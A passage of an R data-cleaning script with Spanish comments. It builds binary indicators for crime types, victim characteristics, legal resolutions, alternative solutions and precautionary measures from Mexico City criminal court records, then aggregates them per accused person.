d_objetos_asunto == 1 ~ "objetos aptos para agredir",
d_secuestro_asunto == 1 ~ "Secuestro",
d_sexuales_asunto == 1 ~ "Delitos sexuales",
d_otros_asunto == 1 ~ "Otros delitos")) %>%
# Renombrar variable de sexo
mutate(sexo_indiciada = case_when(sexo_indiciada == "Femenino" ~ "Mujeres",
sexo_indiciada == "Masculino" ~ "Hombres",
sexo_indiciada == "No especificado" ~ "No especificado" )) %>%
# Crear variable de fecha con objeto tipo date
mutate(date_ingreso = paste(year_ingreso, month_ingreso, sep = "-"),
date_ingreso = as.yearmon(date_ingreso))
# Base final agregada por acusadosa
df_asuntos_vars_wide <- df_asuntos_delitos %>%
# Crear variables para consignación
mutate(c_con_detenido = as.numeric(str_detect(consignacion, "Con detenido")),
c_sin_detenido = as.numeric(str_detect(consignacion, "Sin detenido"))) %>%
# Crear variables para comisión
mutate(c_culposo = as.numeric(str_detect(comision, "Culposo")),
c_doloso = as.numeric(str_detect(comision, "Doloso"))) %>%
# Crear variables para realización
mutate(tr_consumado = as.numeric(str_detect(realizacion, "Consumado")),
tr_tentativa = as.numeric(str_detect(realizacion, "Tentativa")))
# Dadas las irregularidades, se pierde la información de consignación, comisión y
# realización, por ello, es necesario ponderar si también se tiene que hacer una
# variable binaria sobre el tema. Por esto, en la limpieza siguiente no se puede
# agrupar por estas variables, dado que generan más observaciones de las que
# debería haber.
df_asuntos_wide_summed <- df_asuntos_vars_wide %>%
group_by(id_exp, id_per_acusada, year_ingreso, month_ingreso,
date_ingreso, edad_indiciada, sexo_indiciada, materia) %>%
# Contabilizar alcaldías donde se cometieron delitos
summarise(num_alcaldias = length(unique(alcaldia)),
# Variables de conteo de consignación, comisión y realización
num_consignacion = length(unique(consignacion)),
num_comision = length(unique(comision)),
num_realizacion = length(unique(realizacion)),
# Variables de conteo para consignación, comisión y realización
c_con_detenido = sum(c_con_detenido),
c_sin_detenido = sum(c_sin_detenido),
c_culposo = sum(c_culposo),
c_doloso = sum(c_doloso),
tr_consumado = sum(tr_consumado),
tr_tentativa = sum(tr_tentativa),
# Variables de conteo para delitos
d_homicidio_asunto = sum(d_homicidio_asunto),
d_secuestro_asunto = sum(d_secuestro_asunto),
d_sexuales_asunto = sum(d_sexuales_asunto),
d_salud_asunto = sum(d_salud_asunto),
d_robo_asunto = sum(d_robo_asunto),
d_familiar_asunto = sum(d_familiar_asunto),
d_lesiones_asunto = sum(d_lesiones_asunto),
d_extorsion_asunto = sum(d_extorsion_asunto),
d_objetos_asunto = sum(d_objetos_asunto),
d_encubrimiento_asunto = sum(d_encubrimiento_asunto),
d_otros_asunto = sum(d_otros_asunto)) %>%
ungroup() %>%
# Crar contador para el total de delitos
mutate(num_delitos = d_homicidio_asunto + d_secuestro_asunto +
d_sexuales_asunto + d_salud_asunto + d_robo_asunto +
d_familiar_asunto + d_lesiones_asunto +
d_extorsion_asunto + d_objetos_asunto +
d_encubrimiento_asunto + d_otros_asunto) %>%
mutate(base_asuntos = 1)
# Variables de conteo a indicadores binarios
df_asuntos_acusados <- df_asuntos_wide_summed %>%
mutate(c_con_detenido = if_else(c_con_detenido == 0, 0, 1),
c_sin_detenido = if_else(c_sin_detenido == 0, 0, 1),
c_culposo = if_else(c_culposo == 0, 0, 1),
c_doloso = if_else(c_doloso == 0, 0, 1),
tr_consumado = if_else(tr_consumado == 0, 0, 1),
tr_tentativa = if_else(tr_tentativa == 0, 0, 1),
# Indicadores binarios para delitos
d_homicidio_asunto = if_else(d_homicidio_asunto == 0, 0, 1),
d_secuestro_asunto = if_else(d_secuestro_asunto == 0, 0, 1),
d_sexuales_asunto = if_else(d_sexuales_asunto == 0, 0, 1),
d_salud_asunto = if_else(d_salud_asunto == 0, 0, 1),
d_robo_asunto = if_else(d_robo_asunto == 0, 0, 1),
d_familiar_asunto = if_else(d_familiar_asunto == 0, 0, 1),
d_lesiones_asunto = if_else(d_lesiones_asunto == 0, 0, 1),
d_extorsion_asunto = if_else(d_extorsion_asunto == 0, 0, 1),
d_objetos_asunto = if_else(d_objetos_asunto == 0, 0, 1),
d_encubrimiento_asunto = if_else(d_encubrimiento_asunto == 0, 0, 1),
d_otros_asunto = if_else(d_otros_asunto == 0, 0, 1))
# Cuando sólo agrupamos por id_exp y id_per_acusada: 265102
# Cuando agrupamos además con sexo, año y mes: 265134
# Hay 32 observaciones adicionales, que se debe estar duplicando por una
# irregularidad en sexo, año o mes
# 2.4.2 Personas agredidas -----------------------------------------------------
df_personas_vars_wide <- df_personas %>%
# Renombrar variable de sexo
mutate(sexo_victima = case_when(sexo_victima == "Femenino" ~ "Mujer",
sexo_victima == "Masculino" ~ "Hombre",
sexo_victima == "No especificado" ~ "No especificado")) %>%
# Variables dummies para víctimas por sexo
mutate(v_mujeres = as.numeric(str_detect(sexo_victima, "Mujer")),
v_hombres = as.numeric(str_detect(sexo_victima, "Hombre")),
v_no_esp = as.numeric(str_detect(sexo_victima, "No especificado"))) %>%
# Variables dummies para tipo de relación
mutate(r_academica = as.numeric(str_detect(relacion, "Académica")),
r_autoridad = as.numeric(str_detect(relacion, "Autoridad")),
r_concubinato = as.numeric(str_detect(relacion, "Concubinato")),
r_empleo = as.numeric(str_detect(relacion, "Empleo o profesión")),
r_ninguna = as.numeric(str_detect(relacion, "Ninguna")),
r_no_especif = as.numeric(str_detect(relacion, "No especificado")),
r_no_identif = as.numeric(str_detect(relacion, "No identificada")),
r_otro_tipo = as.numeric(str_detect(relacion, "Otro tipo de relación")),
r_parent_afin = as.numeric(str_detect(relacion, "Parentesco por afinidad")),
r_parent_sang = as.numeric(str_detect(relacion, "Parentesco por consanguinidad")),
r_tutor = as.numeric(str_detect(relacion, "Tutor o curador")))
df_personas_expediente_summed <- df_personas_vars_wide %>%
group_by(id_exp) %>%
summarise(v_total = n(),
# Número de víctimas desagregadas por sexo
v_mujeres = sum(v_mujeres),
v_hombres = sum(v_hombres),
v_no_esp = sum(v_no_esp),
# Tipo de relación
r_academica = sum(r_academica),
r_autoridad = sum(r_autoridad),
r_concubinato = sum(r_concubinato),
r_empleo = sum(r_empleo),
r_ninguna = sum(r_ninguna),
r_no_especif = sum(r_no_especif),
r_no_identif = sum(r_no_identif),
r_otro_tipo = sum(r_otro_tipo),
r_parent_afin = sum(r_parent_afin),
r_parent_sang = sum(r_parent_sang),
r_tutor = sum(r_tutor))
# Indicadores binarios para los tipos de relación
df_personas_expediente <- df_personas_expediente_summed %>%
mutate(r_academica = if_else(r_academica == 0, 0, 1),
r_autoridad = if_else(r_autoridad == 0, 0, 1),
r_concubinato = if_else(r_concubinato == 0, 0, 1),
r_empleo = if_else(r_empleo == 0, 0, 1),
r_ninguna = if_else(r_ninguna == 0, 0, 1),
r_no_especif = if_else(r_no_especif == 0, 0, 1),
r_no_identif = if_else(r_no_identif == 0, 0, 1),
r_otro_tipo = if_else(r_otro_tipo == 0, 0, 1),
r_parent_afin = if_else(r_parent_afin == 0, 0, 1),
r_parent_sang = if_else(r_parent_sang == 0, 0, 1),
r_tutor = if_else(r_tutor == 0, 0, 1))
# El problema de que esté desagregada por víctima y luego por expediente es que
# si hago la unión con las personas agresoras se va a repetir cada vez en todos
# los casos en los que haya más de una persona agresora.
# 2.4.3 Situación jurídica -----------------------------------------------------
df_sitjurid_renombrado1 <- df_sitjurid %>%
# Unificar categorías de homicidio y feminicidio en 1
mutate(homicidio_1 = as.numeric(str_detect(delito, "Homicidio")),
homicidio_2 = as.numeric(str_detect(delito, "Feminicidio")),
d_homicidio_sitjurid = homicidio_1 + homicidio_2) %>%
# Unificar categorías para secuestros
mutate(secuestro_1 = as.numeric(str_detect(delito, "Secuestro")),
secuestro_2 = as.numeric(str_detect(delito, "Privación de la libertad")),
d_secuestro_sitjurid = secuestro_1 + secuestro_2) %>%
# Unificar categorías para delitos sexuales
mutate(sexuales_1 = as.numeric(str_detect(delito, "Abuso sexual")),
sexuales_2 = as.numeric(str_detect(delito, "Violacion")),
sexuales_3 = as.numeric(str_detect(delito, "Hostigamiento")),
d_sexuales_sitjurid = sexuales_1 + sexuales_2 + sexuales_3) %>%
# Crear variables dummies para otros delitos
mutate(d_salud_sitjurid = as.numeric(str_detect(delito, "salud")),
d_robo_sitjurid = as.numeric(str_detect(delito, "Robo")),
d_familiar_sitjurid = as.numeric(str_detect(delito, "Violencia familiar")),
d_lesiones_sitjurid = as.numeric(str_detect(delito, "Lesiones")),
d_extorsion_sitjurid = as.numeric(str_detect(delito, "Extorsion")),
d_objetos_sitjurid = as.numeric(str_detect(delito, "objetos")),
d_encubrimiento_sitjurid = as.numeric(str_detect(delito, "Encubrimiento"))) %>%
# Crear categoría para el resto de los delitos
mutate(d_otros_sitjurid = ifelse(d_homicidio_sitjurid != 1 & d_salud_sitjurid != 1 &
d_robo_sitjurid != 1 & d_familiar_sitjurid != 1 &
d_lesiones_sitjurid != 1 & d_encubrimiento_sitjurid != 1 &
d_extorsion_sitjurid != 1 & d_objetos_sitjurid != 1 &
d_secuestro_sitjurid != 1 & d_sexuales_sitjurid != 1, 1, 0)) %>%
# Retirar variables innecesarias
dplyr::select(-c(homicidio_1, homicidio_2, secuestro_1, secuestro_2,
sexuales_1, sexuales_2, sexuales_3))
# Renombrar resolución (consultar cuáles son los mejores nombres para renombrar)
df_sitjurid_renombrado2 <- df_sitjurid_renombrado1 %>%
mutate(resolucion = case_when(resolucion == resolucion ~ resolucion))
# Crear nueva variable con nombres cortos de los delitos
df_sitjurid_delitos <- df_sitjurid_renombrado2 %>%
mutate(delitos_cortos = case_when(d_homicidio_sitjurid == 1 ~ "Homicidio",
d_salud_sitjurid == 1 ~ "Delitos contra la salud",
d_robo_sitjurid == 1 ~ "Robo",
d_familiar_sitjurid == 1 ~ "Violencia familiar",
d_lesiones_sitjurid == 1 ~ "Lesiones",
d_encubrimiento_sitjurid == 1 ~ "Encubrimiento",
d_extorsion_sitjurid == 1 ~ "Extorsión",
d_objetos_sitjurid == 1 ~ "objetos aptos para agredir",
d_secuestro_sitjurid == 1 ~ "Secuestro",
d_sexuales_sitjurid == 1 ~ "Delitos sexuales",
d_otros_sitjurid == 1 ~ "Otros delitos")) %>%
# Renombrar variable de sexo
mutate(sexo_procesada = case_when(sexo_procesada == "Femenino" ~ "Mujeres",
sexo_procesada == "Masculino" ~ "Hombres",
sexo_procesada == "No especificado" ~ "No especificado" )) %>%
# Crear variable de fecha con objeto tipo date
mutate(date_resolucion = paste(year_resolucion, month_resolucion, sep = "-"),
date_resolucion = as.yearmon(date_resolucion))
# Crear variables binarias para situación jurídica ("s_" como sufijo de situación jurídica)
df_sitjurid_vars_wide <- df_sitjurid_delitos %>%
mutate(s_formal_prision = as.numeric(str_detect(resolucion, "Formal prisión")),
s_libertad_falta_elementos = as.numeric(str_detect(resolucion, "Libertad por falta de elementos para procesar")),
s_no_especificado = as.numeric(str_detect(resolucion, "No especificado")),
s_no_vinculado = as.numeric(str_detect(resolucion, "No Vinculacion a Proceso")),
s_proceso_especial = as.numeric(str_detect(resolucion, "Proceso especial para inimputable")),
s_sujecion_en_libertad = as.numeric(str_detect(resolucion, "Sujeción a proceso sin restricción de la libertad")),
s_vinculado_proceso = as.numeric(str_detect(resolucion, "Vinculacion a Proceso"))) %>%
# Corregir por los casos en los que se detectó "Vinculacion a Proceso" en "No Vinculacion a Proceso"
mutate(s_vinculado_proceso = case_when(s_vinculado_proceso == 1 & resolucion == "No Vinculacion a Proceso" ~ 0,
s_vinculado_proceso == s_vinculado_proceso ~ s_vinculado_proceso)) %>%
# Crear variables para consignación
mutate(c_con_detenido = as.numeric(str_detect(consignacion, "Con detenido")),
c_sin_detenido = as.numeric(str_detect(consignacion, "Sin detenido"))) %>%
# Crear variables para comisión
mutate(c_culposo = as.numeric(str_detect(comision, "Culposo")),
c_doloso = as.numeric(str_detect(comision, "Doloso"))) %>%
# Crear variables para realización
mutate(tr_consumado = as.numeric(str_detect(realizacion, "Consumado")),
tr_tentativa = as.numeric(str_detect(realizacion, "Tentativa")))
# Base final desagregada por acusados
df_sitjurid_wide_summed <- df_sitjurid_vars_wide %>%
group_by(id_exp, id_per_acusada, year_resolucion, month_resolucion,
date_resolucion, edad_procesada, sexo_procesada, materia) %>%
# Contabilizar alcaldías donde se cometieron delitos
summarise(num_alcaldias = length(unique(alcaldia)),
num_consignacion = length(unique(consignacion)),
num_comision = length(unique(comision)),
num_realizacion = length(unique(realizacion)),
# Variables de conteo para consignación, comisión y realización
c_con_detenido = sum(c_con_detenido),
c_sin_detenido = sum(c_sin_detenido),
c_culposo = sum(c_culposo),
c_doloso = sum(c_doloso),
tr_consumado = sum(tr_consumado),
tr_tentativa = sum(tr_tentativa),
# Delitos
d_homicidio_sitjurid = sum(d_homicidio_sitjurid),
d_secuestro_sitjurid = sum(d_secuestro_sitjurid),
d_sexuales_sitjurid = sum(d_sexuales_sitjurid),
d_salud_sitjurid = sum(d_salud_sitjurid),
d_robo_sitjurid = sum(d_robo_sitjurid),
d_familiar_sitjurid = sum(d_familiar_sitjurid),
d_lesiones_sitjurid = sum(d_lesiones_sitjurid),
d_extorsion_sitjurid = sum(d_extorsion_sitjurid),
d_objetos_sitjurid = sum(d_objetos_sitjurid),
d_encubrimiento_sitjurid = sum(d_encubrimiento_sitjurid),
d_otros_sitjurid = sum(d_otros_sitjurid),
# Situación jurídica
s_formal_prision = sum(s_formal_prision),
s_libertad_falta_elementos = sum(s_libertad_falta_elementos),
s_no_especificado = sum(s_no_especificado),
s_no_vinculado = sum(s_no_vinculado),
s_proceso_especial = sum(s_proceso_especial),
s_sujecion_en_libertad = sum(s_sujecion_en_libertad),
s_vinculado_proceso = sum(s_vinculado_proceso)) %>%
ungroup() %>%
mutate(num_delitos = d_homicidio_sitjurid + d_secuestro_sitjurid +
d_sexuales_sitjurid + d_salud_sitjurid +
d_robo_sitjurid + d_familiar_sitjurid +
d_lesiones_sitjurid + d_extorsion_sitjurid +
d_objetos_sitjurid + d_encubrimiento_sitjurid +
d_otros_sitjurid) %>%
mutate(base_sitjurid = 1)
# Variables de conteo a indicadores binarios
df_sitjurid_acusados <- df_sitjurid_wide_summed %>%
mutate(c_con_detenido = if_else(c_con_detenido == 0, 0, 1),
c_sin_detenido = if_else(c_sin_detenido == 0, 0, 1),
c_culposo = if_else(c_culposo == 0, 0, 1),
c_doloso = if_else(c_doloso == 0, 0, 1),
tr_consumado = if_else(tr_consumado == 0, 0, 1),
tr_tentativa = if_else(tr_tentativa == 0, 0, 1),
# Indicadores binarios para delitos
d_homicidio_sitjurid = if_else(d_homicidio_sitjurid == 0, 0, 1),
d_secuestro_sitjurid = if_else(d_secuestro_sitjurid == 0, 0, 1),
d_sexuales_sitjurid = if_else(d_sexuales_sitjurid == 0, 0, 1),
d_salud_sitjurid = if_else(d_salud_sitjurid == 0, 0, 1),
d_robo_sitjurid = if_else(d_robo_sitjurid == 0, 0, 1),
d_familiar_sitjurid = if_else(d_familiar_sitjurid == 0, 0, 1),
d_lesiones_sitjurid = if_else(d_lesiones_sitjurid == 0, 0, 1),
d_extorsion_sitjurid = if_else(d_extorsion_sitjurid == 0, 0, 1),
d_objetos_sitjurid = if_else(d_objetos_sitjurid == 0, 0, 1),
d_encubrimiento_sitjurid = if_else(d_encubrimiento_sitjurid == 0, 0, 1),
d_otros_sitjurid = if_else(d_otros_sitjurid == 0, 0, 1),
# Indicadores binarios para delitos
s_formal_prision = if_else(s_formal_prision == 0, 0, 1),
s_libertad_falta_elementos = if_else(s_libertad_falta_elementos == 0, 0, 1),
s_no_especificado = if_else(s_no_especificado == 0, 0, 1),
s_no_vinculado = if_else(s_no_vinculado == 0, 0, 1),
s_proceso_especial = if_else(s_proceso_especial == 0, 0, 1),
s_sujecion_en_libertad = if_else(s_sujecion_en_libertad == 0, 0, 1),
s_vinculado_proceso = if_else(s_vinculado_proceso == 0, 0, 1))
# 2.4.4 Soluciones alternas -------------------------------------------------------
df_alternas_renombrado1 <- df_alternas %>%
# Unificar categorías de homicidio y feminicidio en 1
mutate(homicidio_1 = as.numeric(str_detect(delito, "Homicidio")),
homicidio_2 = as.numeric(str_detect(delito, "Feminicidio")),
d_homicidio_alternas = homicidio_1 + homicidio_2) %>%
# Unificar categorías para secuestros
mutate(secuestro_1 = as.numeric(str_detect(delito, "Secuestro")),
secuestro_2 = as.numeric(str_detect(delito, "Privación de la libertad")),
d_secuestro_alternas = secuestro_1 + secuestro_2) %>%
# Unificar categorías para delitos sexuales
mutate(sexuales_1 = as.numeric(str_detect(delito, "Abuso sexual")),
sexuales_2 = as.numeric(str_detect(delito, "Violacion")),
sexuales_3 = as.numeric(str_detect(delito, "Hostigamiento")),
d_sexuales_alternas = sexuales_1 + sexuales_2 + sexuales_3) %>%
# Crear variables dummies para otros delitos
mutate(d_salud_alternas = as.numeric(str_detect(delito, "salud")),
d_robo_alternas = as.numeric(str_detect(delito, "Robo")),
d_familiar_alternas = as.numeric(str_detect(delito, "Violencia familiar")),
d_lesiones_alternas = as.numeric(str_detect(delito, "Lesiones")),
d_extorsion_alternas = as.numeric(str_detect(delito, "Extorsion")),
d_objetos_alternas = as.numeric(str_detect(delito, "objetos")),
d_encubrimiento_alternas = as.numeric(str_detect(delito, "Encubrimiento"))) %>%
# Crear categoría para el resto de los delitos
mutate(d_otros_alternas = ifelse(d_homicidio_alternas != 1 & d_salud_alternas != 1 &
d_robo_alternas != 1 & d_familiar_alternas != 1 &
d_lesiones_alternas != 1 & d_encubrimiento_alternas != 1 &
d_extorsion_alternas != 1 & d_objetos_alternas != 1 &
d_secuestro_alternas != 1 & d_sexuales_alternas != 1, 1, 0)) %>%
# Retirar variables innecesarias
dplyr::select(-c(homicidio_1, homicidio_2, secuestro_1, secuestro_2,
sexuales_1, sexuales_2, sexuales_3))
# Renombrar tipo de soluciones alternas (consultar cuáles son los nombres más adecuados)
df_alternas_renombrado2 <- df_alternas_renombrado1 %>%
mutate(solucion = case_when(solucion == solucion ~ solucion))
# Crear nueva variable con nombres cortos de los delitos
df_alternas_delitos <- df_alternas_renombrado2 %>%
mutate(delitos_cortos = case_when(d_homicidio_alternas == 1 ~ "Homicidio",
d_salud_alternas == 1 ~ "Delitos contra la salud",
d_robo_alternas == 1 ~ "Robo",
d_familiar_alternas == 1 ~ "Violencia familiar",
d_lesiones_alternas == 1 ~ "Lesiones",
d_encubrimiento_alternas == 1 ~ "Encubrimiento",
d_extorsion_alternas == 1 ~ "Extorsión",
d_objetos_alternas == 1 ~ "objetos aptos para agredir",
d_secuestro_alternas == 1 ~ "Secuestro",
d_sexuales_alternas == 1 ~ "Delitos sexuales",
d_otros_alternas == 1 ~ "Otros delitos")) %>%
# Renombrar variable de sexo
mutate(sexo_indiciada = case_when(sexo_indiciada == "Femenino" ~ "Mujeres",
sexo_indiciada == "Masculino" ~ "Hombres",
sexo_indiciada == "No especificado" ~ "No especificado" )) %>%
# Crear variable de fecha con objeto tipo date
mutate(date_audiencia_alt = paste(year_audiencia_alt, month_audiencia_alt, sep = "-"),
date_audiencia_alt = as.yearmon(date_audiencia_alt))
# Crear variables binarias para soluciones alternas ("a_" como sufijo de solución alterna)
df_alternas_vars_wide <- df_alternas_delitos %>%
mutate(a_reparatorio = as.numeric(str_detect(solucion, "Acuerdo Reparatorio")),
a_perdon = as.numeric(str_detect(solucion, "Perdon")),
a_suspension = as.numeric(str_detect(solucion, "Suspensión Condicional del Proceso")),
a_criterio = as.numeric(str_detect(solucion, "Criterio de Oportunidad")),
a_sobreseimiento = as.numeric(str_detect(solucion, "Sobreseimiento"))) %>%
# Crear variables para consignación
mutate(c_con_detenido = as.numeric(str_detect(consignacion, "Con detenido")),
c_sin_detenido = as.numeric(str_detect(consignacion, "Sin detenido"))) %>%
# Crear variables para comisión
mutate(c_culposo = as.numeric(str_detect(comision, "Culposo")),
c_doloso = as.numeric(str_detect(comision, "Doloso"))) %>%
# Crear variables para realización
mutate(tr_consumado = as.numeric(str_detect(realizacion, "Consumado")),
tr_tentativa = as.numeric(str_detect(realizacion, "Tentativa")))
# Base final desagregada por personas
df_alternas_wide_summed <- df_alternas_vars_wide %>%
group_by(id_exp, id_per_acusada, year_audiencia_alt, month_audiencia_alt,
date_audiencia_alt, sexo_indiciada, edad_indiciada, materia) %>%
# Contabilizar alcaldías donde se cometieron delitos
summarise(num_alcaldias = length(unique(alcaldia)),
num_consignacion = length(unique(consignacion)),
num_comision = length(unique(comision)),
num_realizacion = length(unique(realizacion)),
# Variables de conteo para consignación, comisión y realización
c_con_detenido = sum(c_con_detenido),
c_sin_detenido = sum(c_sin_detenido),
c_culposo = sum(c_culposo),
c_doloso = sum(c_doloso),
tr_consumado = sum(tr_consumado),
tr_tentativa = sum(tr_tentativa),
# Delitos
d_homicidio_alternas = sum(d_homicidio_alternas),
d_secuestro_alternas = sum(d_secuestro_alternas),
d_sexuales_alternas = sum(d_sexuales_alternas),
d_salud_alternas = sum(d_salud_alternas),
d_robo_alternas = sum(d_robo_alternas),
d_familiar_alternas = sum(d_familiar_alternas),
d_lesiones_alternas = sum(d_lesiones_alternas),
d_extorsion_alternas = sum(d_extorsion_alternas),
d_objetos_alternas = sum(d_objetos_alternas),
d_encubrimiento_alternas = sum(d_encubrimiento_alternas),
d_otros_alternas = sum(d_otros_alternas),
# Soluciones alternas
a_reparatorio = sum(a_reparatorio),
a_perdon = sum(a_perdon),
a_suspension = sum(a_suspension),
a_criterio = sum(a_criterio),
a_sobreseimiento = sum(a_sobreseimiento)) %>%
ungroup() %>%
mutate(num_delitos = d_homicidio_alternas + d_secuestro_alternas +
d_sexuales_alternas + d_salud_alternas +
d_robo_alternas + d_familiar_alternas +
d_lesiones_alternas + d_extorsion_alternas +
d_objetos_alternas + d_encubrimiento_alternas +
d_otros_alternas) %>%
mutate(base_sol_alternas = 1)
# Variables de conteo a indicadores binarios
df_alternas_acusados <- df_alternas_wide_summed %>%
mutate(c_con_detenido = if_else(c_con_detenido == 0, 0, 1),
c_sin_detenido = if_else(c_sin_detenido == 0, 0, 1),
c_culposo = if_else(c_culposo == 0, 0, 1),
c_doloso = if_else(c_doloso == 0, 0, 1),
tr_consumado = if_else(tr_consumado == 0, 0, 1),
tr_tentativa = if_else(tr_tentativa == 0, 0, 1),
# Indicadores binarios para delitos
d_homicidio_alternas = if_else(d_homicidio_alternas == 0, 0, 1),
d_secuestro_alternas = if_else(d_secuestro_alternas == 0, 0, 1),
d_sexuales_alternas = if_else(d_sexuales_alternas == 0, 0, 1),
d_salud_alternas = if_else(d_salud_alternas == 0, 0, 1),
d_robo_alternas = if_else(d_robo_alternas == 0, 0, 1),
d_familiar_alternas = if_else(d_familiar_alternas == 0, 0, 1),
d_lesiones_alternas = if_else(d_lesiones_alternas == 0, 0, 1),
d_extorsion_alternas = if_else(d_extorsion_alternas == 0, 0, 1),
d_objetos_alternas = if_else(d_objetos_alternas == 0, 0, 1),
d_encubrimiento_alternas = if_else(d_encubrimiento_alternas == 0, 0, 1),
d_otros_alternas = if_else(d_otros_alternas == 0, 0, 1),
# Indicadores binarios para soluciones alternas
a_reparatorio = if_else(a_reparatorio == 0, 0, 1),
a_perdon = if_else(a_perdon == 0, 0, 1),
a_suspension = if_else(a_suspension == 0, 0, 1),
a_criterio = if_else(a_criterio == 0, 0, 1),
a_sobreseimiento = if_else(a_sobreseimiento == 0, 0, 1))
# 2.4.5 Medidas cautelares -----------------------------------------------------
# Crear variables binarias para los delitos
df_cautelares_renombrado1 <- df_cautelares %>%
# unique() %>% # Me parece que en medidas cautelares sí tiene sentido que se eliminen las observaciones repetidas.
# Unificar categorías de homicidio y feminicidio en 1
mutate(homicidio_1 = as.numeric(str_detect(delito, "Homicidio")),
homicidio_2 = as.numeric(str_detect(delito, "Feminicidio")),
d_homicidio_cautelares = homicidio_1 + homicidio_2) %>%
# Unificar categorías para secuestros
mutate(secuestro_1 = as.numeric(str_detect(delito, "Secuestro")),
secuestro_2 = as.numeric(str_detect(delito, "Privación de la libertad")),
d_secuestro_cautelares = secuestro_1 + secuestro_2) %>%
# Unificar categorías para delitos sexuales
mutate(sexuales_1 = as.numeric(str_detect(delito, "Abuso sexual")),
sexuales_2 = as.numeric(str_detect(delito, "Violacion")),
sexuales_3 = as.numeric(str_detect(delito, "Hostigamiento")),
d_sexuales_cautelares = sexuales_1 + sexuales_2 + sexuales_3) %>%
# Crear variables dummies para otros delitos
mutate(d_salud_cautelares = as.numeric(str_detect(delito, "salud")),
d_robo_cautelares = as.numeric(str_detect(delito, "Robo")),
d_familiar_cautelares = as.numeric(str_detect(delito, "Violencia familiar")),
d_lesiones_cautelares = as.numeric(str_detect(delito, "Lesiones")),
d_extorsion_cautelares = as.numeric(str_detect(delito, "Extorsion")),
d_objetos_cautelares = as.numeric(str_detect(delito, "objetos")),
d_encubrimiento_cautelares = as.numeric(str_detect(delito, "Encubrimiento"))) %>%
# Crear categoría para el resto de los delitos
mutate(d_otros_cautelares = ifelse(d_homicidio_cautelares != 1 &
d_salud_cautelares != 1 &
d_familiar_cautelares != 1 &
d_lesiones_cautelares != 1 &
d_encubrimiento_cautelares != 1 &
d_robo_cautelares != 1 &
d_extorsion_cautelares != 1 &
d_objetos_cautelares != 1 &
d_secuestro_cautelares != 1 &
d_sexuales_cautelares != 1, 1, 0)) %>%
# Retirar variables innecesarias
dplyr::select(-c(homicidio_1, homicidio_2, secuestro_1, secuestro_2,
sexuales_1, sexuales_2, sexuales_3))
# Renombrar medidas cautelares
df_cautelares_renombrado2 <- df_cautelares_renombrado1 %>%
mutate(medida = case_when(
medida == "El embargo de bienes;" ~ "Embargo",
medida == "El resguardo en su propio domicilio con las modalidades que el juez disponga" ~ "Resguardo en domicilio",
medida == "El sometimiento al cuidado o vigilancia de una persona o institución determinada o internamiento a institución determinada;" ~ "Vigilancia o internamiento",
medida == "La colocación de localizadores electrónicos" ~ "Localizadores electrónicos",
medida == "La exhibición de una garantía económica;" ~ "Garantía económica",
medida == "La inmovilización de cuentas y demás valores que se encuentren dentro del sistema financiero;" ~ "Inmovilización de cuentas",
medida == "La presentación periódica ante el juez o ante autoridad distinta que aquél designe;" ~ "Presentación periódica",
medida == "La prohibición de concurrir a determinadas reuniones o acercarse o ciertos lugares;" ~ "Prohibición de ir a lugares",
medida == "La prohibición de convivir, acercarse o comunicarse con determinadas personas, con las víctimas u ofendidos o testigos, siempre que no se afecte el derecho de defensa" ~ "Prohibición de comunicarse con personas",
medida == "La prohibición de salir sin autorización del país, de la localidad en la cual reside o del ámbito territorial que fije el juez;" ~ "Prohibición de salir de un lugar",
medida == "La separación inmediata del domicilio;" ~ "Separación del domicilio",
medida == "La suspensión temporal en el ejercicio de una determinada actividad profesional o laboral" ~ "Suspensión laboral",
medida == "La suspensión temporal en el ejercicio del cargo cuando se le atribuye un delito cometido por servidores públicos" ~ "Suspensión laboral",
medida == "Prisión Preventiva" ~ "Prisión preventiva"))
# Crear nueva variable con nombres cortos de los delitos
df_cautelares_delitos <- df_cautelares_renombrado2 %>%
mutate(delitos_cortos = case_when(d_homicidio_cautelares == 1 ~ "Homicidio",
d_salud_cautelares == 1 ~ "Delitos contra la salud",
d_robo_cautelares == 1 ~ "Robo",
d_familiar_cautelares == 1 ~ "Violencia familiar",
d_lesiones_cautelares == 1 ~ "Lesiones",
d_encubrimiento_cautelares == 1 ~ "Encubrimiento",
d_extorsion_cautelares == 1 ~ "Extorsión",
d_objetos_cautelares == 1 ~ "objetos aptos para agredir",
d_secuestro_cautelares == 1 ~ "Secuestro",
d_sexuales_cautelares == 1 ~ "Delitos sexuales",
d_otros_cautelares == 1 ~ "Otros delitos")) %>%
mutate(sexo_vinculada = case_when(sexo_vinculada == "Femenino" ~ "Mujeres",
sexo_vinculada == "Masculino" ~ "Hombres",
sexo_vinculada == "No especificado" ~ "No especificado")) %>%
# Crear variable de fecha con objeto tipo date
mutate(date_audiencia_caut = paste(year_audiencia_caut, month_audiencia_caut, sep = "-"),
date_audiencia_caut = as.yearmon(date_audiencia_caut))
# Crear variables binarias para medidas cautelares ("m_" como sufijo de medida cautelar)
df_cautelares_vars_wide <- df_cautelares_delitos %>%
mutate(m_embargo = as.numeric(str_detect(medida, "Embargo")),
m_resguardo = as.numeric(str_detect(medida, "Resguardo en domicilio")),
m_vigilancia = as.numeric(str_detect(medida, "Vigilancia o internamiento")),
m_localizador = as.numeric(str_detect(medida, "Localizadores electrónicos")),
m_garantia_econ = as.numeric(str_detect(medida, "Garantía económica")),
m_inmov_cuentas = as.numeric(str_detect(medida, "Inmovilización de cuentas")),
m_presentacion = as.numeric(str_detect(medida, "Presentación periódica")),
m_prohib_lugares = as.numeric(str_detect(medida, "Prohibición de ir a lugares")),
m_prohib_comunica = as.numeric(str_detect(medida, "Prohibición de comunicarse con personas")),
m_prohib_salir = as.numeric(str_detect(medida, "Prohibición de salir de un lugar")),
m_separa_domicilio = as.numeric(str_detect(medida, "Separación del domicilio")),
m_suspension_laboral = as.numeric(str_detect(medida, "Suspensión laboral")),
m_prision_preventiva = as.numeric(str_detect(medida, "Prisión preventiva"))) %>%
# Crear variables para consignación
mutate(c_con_detenido = as.numeric(str_detect(consignacion, "Con detenido")),
c_sin_detenido = as.numeric(str_detect(consignacion, "Sin detenido"))) %>%
# Crear variables para comisión
mutate(c_culposo = as.numeric(str_detect(comision, "Culposo")),
c_doloso = as.numeric(str_detect(comision, "Doloso"))) %>%
# Crear variables para realización
mutate(tr_consumado = as.numeric(str_detect(realizacion, "Consumado")),
tr_tentativa = as.numeric(str_detect(realizacion, "Tentativa")))
# Sintetizar información a nivel persona
df_cautelares_wide_summed <- df_cautelares_vars_wide %>%
group_by(id_exp, id_per_acusada, year_audiencia_caut, month_audiencia_caut,
